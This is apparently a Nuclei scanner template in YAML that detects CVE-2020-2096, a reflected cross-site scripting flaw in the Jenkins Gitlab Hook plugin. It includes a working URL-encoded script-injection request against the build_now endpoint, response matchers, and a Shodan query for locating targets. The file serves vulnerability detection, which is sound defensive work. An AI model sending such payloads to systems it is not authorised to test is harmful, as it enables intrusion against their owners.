53 lines
1.8 KiB
YAML
53 lines
1.8 KiB
YAML
id: CVE-2020-2096
|
|
|
|
info:
|
|
name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
|
|
author: madrobot
|
|
severity: medium
|
|
description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
|
|
remediation: |
|
|
Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
|
|
reference:
|
|
- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
|
|
- http://www.openwall.com/lists/oss-security/2020/01/15/1
|
|
- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-2096
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-2096
|
|
cwe-id: CWE-79
|
|
epss-score: 0.96965
|
|
epss-percentile: 0.99661
|
|
cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: jenkins
|
|
product: gitlab_hook
|
|
framework: jenkins
|
|
shodan-query: http.title:"GitLab"
|
|
tags: jenkins,xss,gitlab,plugin,packetstorm,cve,cve2020
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a004630440220264378148c5f4764ca09406ad541b5c6859ac3a3bc52893eba496aa62d52c7f402206876fb74f90e931e5daea2ef2fa94bb3418140ec91eae48dae59af3ae0192bfe:922c64590222798bb761d5b6d8e72950
|